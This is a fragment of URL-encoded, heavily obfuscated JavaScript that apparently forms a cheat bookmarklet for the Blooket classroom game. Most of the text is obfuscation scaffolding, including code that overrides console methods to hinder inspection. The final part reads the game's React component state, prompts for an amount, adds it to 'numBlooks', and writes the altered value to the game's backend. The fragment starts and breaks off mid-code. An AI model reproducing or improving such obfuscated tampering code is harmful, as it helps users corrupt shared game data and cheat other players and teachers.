_0x94c360(_0x2e215b)%3B%7D%2C%27DUyUi%27%3Afunction(_0x56eb48%2C_0x386493)%7Breturn _0x56eb48%2B_0x386493%3B%7D%2C%27xeZFC%27%3A_0x56d6ed(-0x145%2C-0x11f%2C-0x180%2C-0xf9%2C-0x10c)%2B_0x56d6ed(-0xda%2C-0xb4%2C-0x9e%2C-0xa0%2C-0xf8)%2B_0x9fa49f(-0xb2%2C-0xec%2C-0xb3%2C-0xa8%2C-0x10d)%2B_0x9c7582(-0x21b%2C-0x21c%2C-0x294%2C-0x241%2C-0x219)%2C%27gDSIF%27%3A_0x9fa49f(-0x11f%2C-0x12c%2C-0x169%2C-0x114%2C-0x10c)%2B_0x9c7582(-0x1e3%2C-0x1c4%2C-0x1f8%2C-0x218%2C-0x1ed)%2B_0x9c7582(-0x27c%2C-0x27d%2C-0x24c%2C-0x236%2C-0x240)%2B_0x56d6ed(-0x127%2C-0x105%2C-0x173%2C-0xfc%2C-0xf7)%2B_0x56d6ed(-0xbb%2C-0xf1%2C-0x6f%2C-0xd3%2C-0xe1)%2B_0xe17bff(0x337%2C0x347%2C0x3ca%2C0x386%2C0x38b)%2B%27%5Cx20)%27%2C%27dzImC%27%3Afunction(_0x504b11)%7Breturn _0x504b11()%3B%7D%2C%27nqKzk%27%3A_0x56d6ed(-0x11e%2C-0x131%2C-0x12f%2C-0xe4%2C-0xdd)%2C%27XdUvY%27%3A_0x56d6ed(-0x11b%2C-0xdd%2C-0xd6%2C-0x140%2C-0x10c)%2C%27AmsaY%27%3A_0x9c7582(-0x1c2%2C-0x242%2C-0x1e8%2C-0x206%2C-0x259)%2C%27yUCrd%27%3A_0x425cf3(-0xfd%2C-0xfa%2C-0x106%2C-0xeb%2C-0xe4)%2C%27yLLtm%27%3A_0x9fa49f(-0x144%2C-0x16e%2C-0x178%2C-0x11b%2C-0x1c4)%2C%27AVeKB%27%3A_0x9fa49f(-0x163%2C-0x162%2C-0x17e%2C-0x15c%2C-0x197)%2B_0x56d6ed(-0x137%2C-0x141%2C-0x157%2C-0x122%2C-0x160)%2C%27FAuyl%27%3A_0x56d6ed(-0xb0%2C-0xa3%2C-0x103%2C-0x5a%2C-0xa6)%2C%27lTqMk%27%3A_0x56d6ed(-0xb9%2C-0xfd%2C-0xde%2C-0x80%2C-0x64)%2C%27coPdn%27%3Afunction(_0x38e25b%2C_0x4a667f)%7Breturn _0x38e25b<_0x4a667f%3B%7D%2C%27VPSWO%27%3Afunction(_0x5ae80%2C_0x536783)%7Breturn _0x5ae80!%3D%3D_0x536783%3B%7D%2C%27xKBzs%27%3A_0x425cf3(-0x114%2C-0xea%2C-0xd3%2C-0xee%2C-0xea)%2C%27ROLHY%27%3A_0x9fa49f(-0x9f%2C-0xee%2C-0x113%2C-0x12a%2C-0xc2)%2B_0x425cf3(-0x4b%2C-0x4d%2C-0xb7%2C-0x56%2C-0x89)%2B%274%27%7D%3Bfunction _0x425cf3(_0x163864%2C_0x4f48dc%2C_0x1a6e99%2C_0x33c834%2C_0x42b8e1)%7Breturn _0x4c7e(_0x42b8e1- -0x1a7%2C_0x163864)%3B%7Dfunction _0x56d6ed(_0x5b586b%2C_0x2f685e%2C_0x47f54c%2C_0x527b0a%2C_0x180f20)%7Breturn _0x4c7e(_0x5b586b- -0x1f5%2C_0x47f54c)%3B%7Dvar _0xf879e8%3Bfunction _0x9c7582(_0x294edd%2C_0x138035%2C_0x1c45f2%2C_0x2fefbb%2C_0x2c747d)%7Breturn _0x4c7e(_0x2fefbb- -0x307%2C_0x138035)%3B%7Dtry%7Bif(_0x3af0fa%5B_0x9fa49f(-0xb9%2C-0x10c%2C-0x128%2C-0xfd%2C-0xf1)%5D(_0x3af0fa%5B_0xe17bff(0x32d%2C0x375%2C0x379%2C0x34a%2C0x33d)%5D%2C_0x3af0fa%5B_0x56d6ed(-0xed%2C-0xfc%2C-0x135%2C-0x12f%2C-0xfe)%5D))%7Bvar _0x3a7219%3D_0x3af0fa%5B_0x56d6ed(-0x103%2C-0xdf%2C-0x13f%2C-0x158%2C-0x140)%5D(Function%2C_0x3af0fa%5B_0x9fa49f(-0x177%2C-0x128%2C-0x176%2C-0xef%2C-0xd4)%5D(_0x3af0fa%5B_0xe17bff(0x35c%2C0x33d%2C0x386%2C0x33d%2C0x340)%5D(_0x3af0fa%5B_0x425cf3(-0xa6%2C-0x75%2C-0xaf%2C-0x49%2C-0x9b)%5D%2C_0x3af0fa%5B_0xe17bff(0x307%2C0x355%2C0x302%2C0x353%2C0x336)%5D)%2C%27)%3B%27))%3B_0xf879e8%3D_0x3af0fa%5B_0x425cf3(-0x8b%2C-0x90%2C-0x9d%2C-0x7f%2C-0x74)%5D(_0x3a7219)%3B%7Delse%7Bvar _0x13276f%3D_0x3af0fa%5B_0x9fa49f(-0x133%2C-0x13f%2C-0x12a%2C-0x16b%2C-0x137)%5D%5B_0x9fa49f(-0x154%2C-0x100%2C-0xdc%2C-0x136%2C-0x123)%5D(%27%7C%27)%2C_0x309b25%3D-0x4bc%2B0x261e%2B-0x1*0x2162%3Bwhile(!!%5B%5D)%7Bswitch(_0x13276f%5B_0x309b25%2B%2B%5D)%7Bcase%270%27%3A_0x1200bc%5B_0x425cf3(-0x112%2C-0xd8%2C-0x119%2C-0x108%2C-0xeb)%2B_0x425cf3(-0xb6%2C-0x87%2C-0xa7%2C-0xa9%2C-0xb3)%5D%3D_0x4931b6%5B_0x9c7582(-0x233%2C-0x1f8%2C-0x218%2C-0x248%2C-0x29a)%5D(_0x581917)%3Bcontinue%3Bcase%271%27%3Avar _0x3d2ec7%3D_0x402932%5B_0x305138%5D%3Bcontinue%3Bcase%272%27%3A_0x4a7d3b%5B_0x3d2ec7%5D%3D_0x1200bc%3Bcontinue%3Bcase%273%27%3A_0x1200bc%5B_0x9fa49f(-0xf6%2C-0xf1%2C-0x104%2C-0xb7%2C-0xbf)%2B_0xe17bff(0x2ce%2C0x368%2C0x357%2C0x31a%2C0x31a)%5D%3D_0x313506%5B_0x56d6ed(-0xc3%2C-0xcc%2C-0x104%2C-0xef%2C-0xfd)%2B_0x425cf3(-0x100%2C-0xbe%2C-0xb8%2C-0xc0%2C-0xcf)%5D%5B_0x9fa49f(-0x10e%2C-0x164%2C-0x130%2C-0x121%2C-0x165)%5D(_0x313506)%3Bcontinue%3Bcase%274%27%3Avar _0x313506%3D_0x4d0b45%5B_0x3d2ec7%5D%7C%7C_0x1200bc%3Bcontinue%3Bcase%275%27%3Avar _0x1200bc%3D_0x2d5d10%5B_0x56d6ed(-0x128%2C-0xda%2C-0x12a%2C-0xf0%2C-0x14f)%2B_0xe17bff(0x2e1%2C0x2c4%2C0x2ae%2C0x2ef%2C0x2e1)%2B%27r%27%5D%5B_0x56d6ed(-0xcc%2C-0xbe%2C-0x121%2C-0xd7%2C-0xe3)%2B_0x9c7582(-0x1c7%2C-0x200%2C-0x1cc%2C-0x1ce%2C-0x1c7)%5D%5B_0x9fa49f(-0x17a%2C-0x164%2C-0x126%2C-0x19a%2C-0x18d)%5D(_0x2ea155)%3Bcontinue%3B%7Dbreak%3B%7D%7D%7Dcatch(_0x406cd1)%7Bif(_0x3af0fa%5B_0x9fa49f(-0x146%2C-0x10c%2C-0xfb%2C-0xee%2C-0x104)%5D(_0x3af0fa%5B_0x56d6ed(-0x151%2C-0x18d%2C-0x113%2C-0x16c%2C-0x16a)%5D%2C_0x3af0fa%5B_0x56d6ed(-0x151%2C-0x121%2C-0x17d%2C-0x133%2C-0x159)%5D))_0xf879e8%3Dwindow%3Belse%7Bvar _0x52480c%3D_0x5d6e27%3Ffunction()%7Bfunction _0x5c03e7(_0x50f9da%2C_0x1f124d%2C_0x18b369%2C_0x23abfd%2C_0x50076b)%7Breturn _0x425cf3(_0x1f124d%2C_0x1f124d-0x129%2C_0x18b369-0x24%2C_0x23abfd-0x1e1%2C_0x23abfd-0xe9)%3B%7Dif(_0x3f21b8)%7Bvar _0x32f1d7%3D_0x3988b5%5B_0x5c03e7(0x57%2C0xd7%2C0x8e%2C0x85%2C0x89)%5D(_0x538d48%2Carguments)%3Breturn _0x29215a%3Dnull%2C_0x32f1d7%3B%7D%7D%3Afunction()%7B%7D%3Breturn _0x34d30c%3D!%5B%5D%2C_0x52480c%3B%7D%7Dvar _0x5a5d2d%3D_0xf879e8%5B_0x425cf3(-0x100%2C-0x10f%2C-0xa1%2C-0xcf%2C-0xd4)%2B%27le%27%5D%3D_0xf879e8%5B_0x9c7582(-0x23a%2C-0x267%2C-0x1fc%2C-0x234%2C-0x221)%2B%27le%27%5D%7C%7C%7B%7D%3Bfunction _0x9fa49f(_0x16ea12%2C_0x1350d6%2C_0x1fb810%2C_0x45e533%2C_0x2e6d5d)%7Breturn _0x4c7e(_0x1350d6- -0x223%2C_0x16ea12)%3B%7Dfunction _0xe17bff(_0x161952%2C_0x2cc2fb%2C_0x51b88e%2C_0x52cc1b%2C_0x568c00)%7Breturn _0x4c7e(_0x52cc1b-0x242%2C_0x161952)%3B%7Dvar _0x243942%3D%5B_0x3af0fa%5B_0x9c7582(-0x1cf%2C-0x230%2C-0x218%2C-0x221%2C-0x247)%5D%2C_0x3af0fa%5B_0x425cf3(-0xc0%2C-0xcc%2C-0xbf%2C-0xaf%2C-0x82)%5D%2C_0x3af0fa%5B_0x9c7582(-0x256%2C-0x212%2C-0x28a%2C-0x235%2C-0x234)%5D%2C_0x3af0fa%5B_0x9fa49f(-0x94%2C-0xdb%2C-0x8e%2C-0x114%2C-0x121)%5D%2C_0x3af0fa%5B_0x9c7582(-0x1c1%2C-0x1dd%2C-0x1ce%2C-0x1ef%2C-0x1a7)%5D%2C_0x3af0fa%5B_0x425cf3(-0xd5%2C-0x114%2C-0x126%2C-0xa3%2C-0xe0)%5D%2C_0x3af0fa%5B_0x9fa49f(-0x15a%2C-0x15e%2C-0x13c%2C-0x18f%2C-0x13e)%5D%5D%3Bfor(var _0x4a6ea1%3D0x4bf%2B-0x192e%2B0x146f%3B_0x3af0fa%5B_0x9fa49f(-0x100%2C-0xd9%2C-0x112%2C-0xb0%2C-0x112)%5D(_0x4a6ea1%2C_0x243942%5B_0xe17bff(0x2f2%2C0x36e%2C0x371%2C0x344%2C0x353)%2B%27h%27%5D)%3B_0x4a6ea1%2B%2B)%7Bif(_0x3af0fa%5B_0xe17bff(0x38d%2C0x356%2C0x34b%2C0x36a%2C0x33a)%5D(_0x3af0fa%5B_0x9fa49f(-0x10c%2C-0x119%2C-0xc6%2C-0xdd%2C-0x118)%5D%2C_0x3af0fa%5B_0x9c7582(-0x1c3%2C-0x21c%2C-0x236%2C-0x1fd%2C-0x253)%5D))%7Bif(_0x11b04c)%7Bvar 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_0x5ae20e(_0x559541%2C_0x135280)%3B%7D%2C%27Dqtyz%27%3A_0x301d31(0x43e%2C0x498%2C0x47f%2C0x4ab%2C0x46e)%2B_0x1c295c(0x4bf%2C0x47e%2C0x424%2C0x468%2C0x42d)%2C%27ZfjMm%27%3A_0x1c295c(0x412%2C0x41b%2C0x43a%2C0x453%2C0x400)%2B%27r%27%2C%27WcSVj%27%3A_0x1c295c(0x4b9%2C0x4eb%2C0x458%2C0x4a0%2C0x4c1)%2C%27Nkinq%27%3Afunction(_0x58ca0b%2C_0x5bed19)%7Breturn _0x58ca0b%2B_0x5bed19%3B%7D%2C%27buVAS%27%3Afunction(_0x444e91%2C_0x5bc9b8)%7Breturn _0x444e91%3D%3D%3D_0x5bc9b8%3B%7D%2C%27XGUgU%27%3A_0x4b27ce(0x512%2C0x4b7%2C0x53e%2C0x4f6%2C0x4f8)%2C%27yQfEQ%27%3A_0x301d31(0x444%2C0x3b7%2C0x3b1%2C0x457%2C0x404)%2C%27vOdLp%27%3Afunction(_0x1cdcca%2C_0x1ab572)%7Breturn _0x1cdcca%2B_0x1ab572%3B%7D%2C%27azntx%27%3Afunction(_0xc4c4e9)%7Breturn _0xc4c4e9()%3B%7D%2C%27pZqzF%27%3Afunction(_0xc61338%2C_0x4b726b)%7Breturn _0xc61338!%3D%3D_0x4b726b%3B%7D%2C%27ItRka%27%3A_0x428f5b(0x116%2C0x194%2C0xf4%2C0x13e%2C0x110)%2C%27MAkZR%27%3A_0x1c295c(0x53b%2C0x4b7%2C0x536%2C0x4e1%2C0x496)%2C%27DncCp%27%3Afunction(_0x317307%2C_0x53daaa)%7Breturn _0x317307<_0x53daaa%3B%7D%2C%27heQMb%27%3Afunction(_0x106dad%2C_0x4864e8)%7Breturn _0x106dad%3D%3D%3D_0x4864e8%3B%7D%2C%27ZWnuM%27%3A_0x428f5b(0xd4%2C0xc3%2C0x43%2C0x9b%2C0xe5)%2C%27aOfWI%27%3A_0xcd9fd5(0x399%2C0x386%2C0x3d0%2C0x3d8%2C0x3b8)%2B_0x301d31(0x3ea%2C0x432%2C0x44e%2C0x3e5%2C0x42c)%2B%275%27%7D%2C_0x14bacf%3Btry%7Bif(_0x272c37%5B_0x4b27ce(0x4e4%2C0x4ac%2C0x4b5%2C0x4af%2C0x4d3)%5D(_0x272c37%5B_0x428f5b(0xfe%2C0x165%2C0xf1%2C0x11b%2C0x109)%5D%2C_0x272c37%5B_0x428f5b(0xd0%2C0xeb%2C0x14c%2C0x120%2C0x118)%5D))%7Bvar _0x445e7c%3D_0x272c37%5B_0xcd9fd5(0x3b7%2C0x3ee%2C0x3ac%2C0x36d%2C0x35e)%5D%5B_0xcd9fd5(0x372%2C0x376%2C0x354%2C0x364%2C0x339)%5D(%27%7C%27)%2C_0x132197%3D0x1e86%2B0x1e20%2B0x2*-0x1e53%3Bwhile(!!%5B%5D)%7Bswitch(_0x445e7c%5B_0x132197%2B%2B%5D)%7Bcase%270%27%3Avar _0x5f2b28%3Bcontinue%3Bcase%271%27%3Atry%7Bvar _0x46801f%3D_0x272c37%5B_0x428f5b(0x19a%2C0x177%2C0x198%2C0x13f%2C0x16c)%5D(_0x4bca2a%2C_0x272c37%5B_0x428f5b(0xb4%2C0x51%2C0x7b%2C0x90%2C0x9b)%5D(_0x272c37%5B_0x428f5b(0xea%2C0xaf%2C0xef%2C0xd3%2C0xeb)%5D(_0x272c37%5B_0x1c295c(0x459%2C0x4e6%2C0x476%2C0x49e%2C0x45e)%5D%2C_0x272c37%5B_0x301d31(0x3ff%2C0x3e9%2C0x3e6%2C0x47d%2C0x426)%5D)%2C%27)%3B%27))%3B_0x5f2b28%3D_0x272c37%5B_0x4b27ce(0x4cf%2C0x4cf%2C0x515%2C0x527%2C0x564)%5D(_0x46801f)%3B%7Dcatch(_0x1cb9dc)%7B_0x5f2b28%3D_0x35ea30%3B%7Dcontinue%3Bcase%272%27%3Afor(var _0x106685%3D-0x233f%2B-0x219d%2B-0x71*-0x9c%3B_0x272c37%5B_0xcd9fd5(0x3ae%2C0x399%2C0x364%2C0x365%2C0x30e)%5D(_0x106685%2C_0x43d095%5B_0x4b27ce(0x4c1%2C0x4c7%2C0x490%2C0x47f%2C0x43f)%2B%27h%27%5D)%3B_0x106685%2B%2B)%7Bvar _0x439ead%3D_0x272c37%5B_0x1c295c(0x519%2C0x4ae%2C0x4b0%2C0x4d1%2C0x503)%5D%5B_0x4b27ce(0x42e%2C0x4af%2C0x4ca%2C0x484%2C0x4da)%5D(%27%7C%27)%2C_0x5ae2a4%3D-0x1*0x1801%2B0xaf9*-0x2%2B0x2df3%3Bwhile(!!%5B%5D)%7Bswitch(_0x439ead%5B_0x5ae2a4%2B%2B%5D)%7Bcase%270%27%3A_0x1ba70f%5B_0x4d05b4%5D%3D_0x940b24%3Bcontinue%3Bcase%271%27%3Avar _0x4377ff%3D_0x1ba70f%5B_0x4d05b4%5D%7C%7C_0x940b24%3Bcontinue%3Bcase%272%27%3A_0x940b24%5B_0x4b27ce(0x44d%2C0x496%2C0x464%2C0x4a4%2C0x4c9)%2B_0x4b27ce(0x504%2C0x4d5%2C0x545%2C0x4ea%2C0x541)%5D%3D_0x4377ff%5B_0x428f5b(0x87%2C0x6e%2C0x10f%2C0xc2%2C0xe0)%2B_0xcd9fd5(0x3d7%2C0x392%2C0x3ba%2C0x37b%2C0x3c6)%5D%5B_0x4b27ce(0x4c6%2C0x527%2C0x50e%2C0x50f%2C0x532)%5D(_0x4377ff)%3Bcontinue%3Bcase%273%27%3A_0x940b24%5B_0x4b27ce(0x4d3%2C0x46a%2C0x4a1%2C0x487%2C0x476)%2B_0xcd9fd5(0x42c%2C0x3bb%2C0x3dc%2C0x395%2C0x3c7)%5D%3D_0x3afddd%5B_0x428f5b(0x10d%2C0x125%2C0x169%2C0x12d%2C0x124)%5D(_0x31d82a)%3Bcontinue%3Bcase%274%27%3Avar _0x940b24%3D_0x29fde5%5B_0x1c295c(0x466%2C0x427%2C0x468%2C0x459%2C0x411)%2B_0x4b27ce(0x4a8%2C0x4d1%2C0x4c9%2C0x4a9%2C0x49e)%2B%27r%27%5D%5B_0xcd9fd5(0x362%2C0x39d%2C0x35a%2C0x387%2C0x399)%2B_0x4b27ce(0x4a5%2C0x491%2C0x4ea%2C0x49e%2C0x484)%5D%5B_0xcd9fd5(0x3e2%2C0x3dd%2C0x3df%2C0x405%2C0x3f2)%5D(_0x294c33)%3Bcontinue%3Bcase%275%27%3Avar _0x4d05b4%3D_0x43d095%5B_0x106685%5D%3Bcontinue%3B%7Dbreak%3B%7D%7Dcontinue%3Bcase%273%27%3Avar _0x1ba70f%3D_0x5f2b28%5B_0x428f5b(0x128%2C0x141%2C0x16d%2C0x130%2C0x141)%2B%27le%27%5D%3D_0x5f2b28%5B_0x301d31(0x46b%2C0x44b%2C0x446%2C0x4d3%2C0x4a2)%2B%27le%27%5D%7C%7C%7B%7D%3Bcontinue%3Bcase%274%27%3Avar _0x43d095%3D%5B_0x272c37%5B_0xcd9fd5(0x41e%2C0x383%2C0x3d5%2C0x3fd%2C0x402)%5D%2C_0x272c37%5B_0x1c295c(0x487%2C0x45e%2C0x468%2C0x496%2C0x43e)%5D%2C_0x272c37%5B_0x4b27ce(0x529%2C0x4f3%2C0x4fb%2C0x522%2C0x514)%5D%2C_0x272c37%5B_0x301d31(0x3f1%2C0x42b%2C0x3ef%2C0x3d5%2C0x428)%5D%2C_0x272c37%5B_0x428f5b(0xd4%2C0x91%2C0xc2%2C0xbd%2C0xd7)%5D%2C_0x272c37%5B_0x301d31(0x4ae%2C0x4a1%2C0x4f8%2C0x491%2C0x4b6)%5D%2C_0x272c37%5B_0x4b27ce(0x457%2C0x4c1%2C0x492%2C0x47a%2C0x46c)%5D%5D%3Bcontinue%3B%7Dbreak%3B%7D%7Delse%7Bvar _0x3b063d%3D_0x272c37%5B_0xcd9fd5(0x3ce%2C0x3eb%2C0x3f1%2C0x438%2C0x41c)%5D(Function%2C_0x272c37%5B_0x428f5b(0xd7%2C0xb3%2C0x134%2C0x10c%2C0x12c)%5D(_0x272c37%5B_0x301d31(0x470%2C0x48d%2C0x461%2C0x434%2C0x47e)%5D(_0x272c37%5B_0x428f5b(0x116%2C0x104%2C0x10e%2C0xe9%2C0x134)%5D%2C_0x272c37%5B_0xcd9fd5(0x380%2C0x353%2C0x366%2C0x33a%2C0x31b)%5D)%2C%27)%3B%27))%3B_0x14bacf%3D_0x272c37%5B_0x301d31(0x47e%2C0x45c%2C0x460%2C0x426%2C0x44c)%5D(_0x3b063d)%3B%7D%7Dcatch(_0x45e4fb)%7Bif(_0x272c37%5B_0x4b27ce(0x4b9%2C0x460%2C0x48e%2C0x4a0%2C0x4d8)%5D(_0x272c37%5B_0x1c295c(0x4dc%2C0x4db%2C0x519%2C0x4d6%2C0x4cd)%5D%2C_0x272c37%5B_0x301d31(0x425%2C0x481%2C0x496%2C0x4b3%2C0x46f)%5D))_0x14bacf%3Dwindow%3Belse%7Bif(_0x544254)%7Bvar _0x2c4709%3D_0x36d883%5B_0x4b27ce(0x4bf%2C0x4c7%2C0x4de%2C0x4ec%2C0x4de)%5D(_0x4ff5ae%2Carguments)%3Breturn _0x332aa2%3Dnull%2C_0x2c4709%3B%7D%7D%7Dfunction _0xcd9fd5(_0x153eea%2C_0x246a6c%2C_0x1c928f%2C_0x4e60af%2C_0x54d9b9)%7Breturn _0x5416(_0x1c928f-0x28d%2C_0x246a6c)%3B%7Dvar _0x2f9d27%3D_0x14bacf%5B_0x428f5b(0x159%2C0x144%2C0x17a%2C0x130%2C0x16c)%2B%27le%27%5D%3D_0x14bacf%5B_0x4b27ce(0x516%2C0x4dc%2C0x55a%2C0x512%2C0x4ee)%2B%27le%27%5D%7C%7C%7B%7D%2C_0xcb9070%3D%5B_0x272c37%5B_0x4b27ce(0x542%2C0x542%2C0x4e6%2C0x505%2C0x4ab)%5D%2C_0x272c37%5B_0x428f5b(0xe6%2C0x9a%2C0xb7%2C0xe1%2C0x95)%5D%2C_0x272c37%5B_0x1c295c(0x4c9%2C0x4ab%2C0x541%2C0x4f5%2C0x4f3)%5D%2C_0x272c37%5B_0x301d31(0x470%2C0x460%2C0x43c%2C0x445%2C0x428)%5D%2C_0x272c37%5B_0x4b27ce(0x48a%2C0x4a7%2C0x4b9%2C0x49f%2C0x4ba)%5D%2C_0x272c37%5B_0xcd9fd5(0x40b%2C0x439%2C0x3f6%2C0x423%2C0x3bd)%5D%2C_0x272c37%5B_0x4b27ce(0x482%2C0x433%2C0x438%2C0x47a%2C0x457)%5D%5D%3Bfunction _0x4b27ce(_0x59ceda%2C_0x1e2fe6%2C_0x562fd5%2C_0x3924cd%2C_0x22e19f)%7Breturn _0x5416(_0x3924cd-0x3bd%2C_0x1e2fe6)%3B%7Dfunction _0x1c295c(_0x4f73d1%2C_0x3af836%2C_0x358e66%2C_0x989e3f%2C_0x3b6a97)%7Breturn _0x5416(_0x989e3f-0x390%2C_0x358e66)%3B%7Dfor(var _0x2e72e5%3D-0x1*-0x1efe%2B-0x42d%2B-0x1ad1%3B_0x272c37%5B_0x4b27ce(0x47c%2C0x4f7%2C0x4b5%2C0x4d8%2C0x4ff)%5D(_0x2e72e5%2C_0xcb9070%5B_0x1c295c(0x41a%2C0x428%2C0x40d%2C0x452%2C0x49e)%2B%27h%27%5D)%3B_0x2e72e5%2B%2B)%7Bif(_0x272c37%5B_0xcd9fd5(0x36a%2C0x3aa%2C0x35c%2C0x37c%2C0x339)%5D(_0x272c37%5B_0x428f5b(0xf1%2C0xd2%2C0x116%2C0xf4%2C0x10c)%5D%2C_0x272c37%5B_0x4b27ce(0x4b5%2C0x4f4%2C0x49f%2C0x4d6%2C0x4b8)%5D))%7Bvar _0x3c565f%3D_0x272c37%5B_0x4b27ce(0x4bd%2C0x500%2C0x4c2%2C0x4c2%2C0x493)%5D%5B_0x301d31(0x471%2C0x3c0%2C0x458%2C0x456%2C0x414)%5D(%27%7C%27)%2C_0x364132%3D-0x60d*-0x2%2B0x304%2B-0xf1e%3Bwhile(!!%5B%5D)%7Bswitch(_0x3c565f%5B_0x364132%2B%2B%5D)%7Bcase%270%27%3Avar _0x3df5ae%3D_0x2f9d27%5B_0x1adbd1%5D%7C%7C_0x4ada6f%3Bcontinue%3Bcase%271%27%3Avar _0x1adbd1%3D_0xcb9070%5B_0x2e72e5%5D%3Bcontinue%3Bcase%272%27%3A_0x4ada6f%5B_0x4b27ce(0x448%2C0x4e6%2C0x44c%2C0x4a4%2C0x4e2)%2B_0xcd9fd5(0x401%2C0x408%2C0x3ba%2C0x3ad%2C0x364)%5D%3D_0x3df5ae%5B_0x428f5b(0x72%2C0xd6%2C0x95%2C0xc2%2C0xe2)%2B_0xcd9fd5(0x3b8%2C0x389%2C0x3ba%2C0x36c%2C0x3e0)%5D%5B_0x428f5b(0x12d%2C0x185%2C0x114%2C0x12d%2C0x17f)%5D(_0x3df5ae)%3Bcontinue%3Bcase%273%27%3Avar _0x4ada6f%3D_0x5cefcf%5B_0xcd9fd5(0x36f%2C0x38f%2C0x356%2C0x3a0%2C0x374)%2B_0x4b27ce(0x4f9%2C0x47b%2C0x4c1%2C0x4a9%2C0x4c1)%2B%27r%27%5D%5B_0x4b27ce(0x47b%2C0x44e%2C0x4db%2C0x48a%2C0x4cb)%2B_0x428f5b(0x69%2C0x115%2C0xf8%2C0xbc%2C0xaf)%5D%5B_0x428f5b(0x167%2C0x128%2C0x176%2C0x12d%2C0xd2)%5D(_0x5cefcf)%3Bcontinue%3Bcase%274%27%3A_0x4ada6f%5B_0x428f5b(0xf5%2C0xf2%2C0xdc%2C0xa5%2C0xa9)%2B_0x4b27ce(0x540%2C0x51b%2C0x4f9%2C0x50c%2C0x50a)%5D%3D_0x5cefcf%5B_0x1c295c(0x4d5%2C0x521%2C0x4c5%2C0x4e2%2C0x52b)%5D(_0x5cefcf)%3Bcontinue%3Bcase%275%27%3A_0x2f9d27%5B_0x1adbd1%5D%3D_0x4ada6f%3Bcontinue%3B%7Dbreak%3B%7D%7Delse%7Bvar _0x40277b%3D_0x272c37%5B_0xcd9fd5(0x350%2C0x306%2C0x359%2C0x386%2C0x396)%5D%5B_0x4b27ce(0x470%2C0x4a1%2C0x4a4%2C0x484%2C0x4bc)%5D(%27%7C%27)%2C_0x4a319c%3D-0x2*0xdc3%2B-0x1*0x2573%2B0x40f9%3Bwhile(!!%5B%5D)%7Bswitch(_0x40277b%5B_0x4a319c%2B%2B%5D)%7Bcase%270%27%3Avar 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t%3DObject%5B_0x3faf6c(-0x16b%2C-0x17d%2C-0x1c8%2C-0x1af%2C-0x1c1)%2B%27s%27%5D(document%5B_0x3faf6c(-0x1e0%2C-0x1a7%2C-0x1c6%2C-0x1ce%2C-0x189)%2B_0x3faf6c(-0x234%2C-0x183%2C-0x20c%2C-0x1d8%2C-0x1c0)%2B_0x3faf6c(-0x26f%2C-0x262%2C-0x293%2C-0x239%2C-0x28a)%5D(_0x45f5b2(-0x2c1%2C-0x29d%2C-0x2a0%2C-0x2f3%2C-0x2ac)%2B_0x1fc344(-0x83%2C-0x62%2C-0x37%2C-0xab%2C-0x8a)%2B_0x174729(-0xf2%2C-0x8a%2C-0x92%2C-0xfb%2C-0xba)%2B%27v%27))%5B0x19ac%2B-0xa*0x242%2B0x1*-0x317%5D%5B_0x3cf296(-0xa0%2C-0x5c%2C-0xaa%2C-0xa9%2C-0xc0)%2B_0x1fc344(0xe%2C-0x1c%2C-0x4d%2C-0x4d%2C0x28)%5D%5B-0x1*0x1e91%2B-0xba3%2B-0x2a35*-0x1%5D%5B_0x3faf6c(-0x211%2C-0x23c%2C-0x1d8%2C-0x224%2C-0x203)%2B%27r%27%5D%5B_0x1fc344(-0x42%2C0xc%2C0x1a%2C-0x83%2C-0x39)%2B_0x3faf6c(-0x21b%2C-0x20a%2C-0x1df%2C-0x21f%2C-0x214)%5D%2Camt%3DparseInt(prompt(_0x3faf6c(-0x171%2C-0x1b2%2C-0x1af%2C-0x1c6%2C-0x210)%2B_0x174729(-0x7f%2C-0xa0%2C-0x2d%2C-0x26%2C-0x47)%2B_0x174729(-0x40%2C-0x5c%2C-0x66%2C-0xa8%2C-0x71)%2B_0x1fc344(-0x38%2C-0x39%2C-0x50%2C-0x1b%2C-0x24)%2B_0x3faf6c(-0x25e%2C-0x247%2C-0x1b2%2C-0x201%2C-0x25c)%2B_0x45f5b2(-0x23a%2C-0x200%2C-0x211%2C-0x24f%2C-0x232)%2B_0x45f5b2(-0x2d6%2C-0x2ff%2C-0x2e9%2C-0x31b%2C-0x314)))%3Bamt%26%26(t%5B_0x45f5b2(-0x270%2C-0x272%2C-0x273%2C-0x222%2C-0x25c)%2B%27ng%27%5D%3D!(0x295*-0xb%2B0x1731%2B0x5*0x10b)%2Ct%5B_0x3faf6c(-0x228%2C-0x22e%2C-0x1f6%2C-0x20a%2C-0x1d9)%5D%5B_0x45f5b2(-0x278%2C-0x221%2C-0x2c0%2C-0x227%2C-0x224)%2B_0x3cf296(-0x72%2C-0xe5%2C-0xa3%2C-0xdc%2C-0x58)%5D%3D!!%5B%5D%2Ct%5B_0x174729(-0xd0%2C-0xbf%2C-0x80%2C-0x87%2C-0x91)%2B_0x1fc344(-0x55%2C-0x1e%2C-0xab%2C-0x19%2C-0x94)%5D(%7B%27numBlooks%27%3Aamt%2Bt%5B_0x3faf6c(-0x224%2C-0x204%2C-0x214%2C-0x20a%2C-0x24c)%5D%5B_0x3cf296(-0x12b%2C-0xe7%2C-0x105%2C-0xcf%2C-0xcb)%2B_0x45f5b2(-0x268%2C-0x222%2C-0x22b%2C-0x2b1%2C-0x23e)%5D%7D)%2Ct%5B_0x45f5b2(-0x271%2C-0x22e%2C-0x25a%2C-0x232%2C-0x236)%5D%5B_0x174729(-0xb1%2C-0x56%2C-0x85%2C-0x67%2C-0xaf)%2B_0x3cf296(-0xa9%2C-0xed%2C-0xcb%2C-0x114%2C-0x76)%5D%5B_0x45f5b2(-0x280%2C-0x266%2C-0x2a2%2C-0x247%2C-0x252)%2B%27l%27%5D(%7B%27id%27%3At%5B_0x1fc344(-0xd%2C-0x38%2C0x40%2C-0x44%2C-0x44)%5D%5B_0x174729(-0x84%2C-0x71%2C-0x34%2C-0x8f%2C-0x8f)%2B%27t%27%5D%5B_0x1fc344(-0x8a%2C-0xa1%2C-0xa1%2C-0x80%2C-0x36)%2B%27d%27%5D%2C%27path%27%3A%27a%2F%27%5B_0x1fc344(0x1c%2C0x5a%2C-0x1f%2C0x42%2C0x62)%2B%27t%27%5D(t%5B_0x45f5b2(-0x271%2C-0x282%2C-0x226%2C-0x2c3%2C-0x24d)%5D%5B_0x1fc344(-0x2d%2C-0x7a%2C-0x76%2C-0x7b%2C-0x42)%2B%27t%27%5D%5B_0x45f5b2(-0x2a8%2C-0x2f2%2C-0x2b9%2C-0x2d3%2C-0x25f)%5D%2C_0x3faf6c(-0x1b0%2C-0x1f5%2C-0x1b7%2C-0x1fa%2C-0x1e2))%2C%27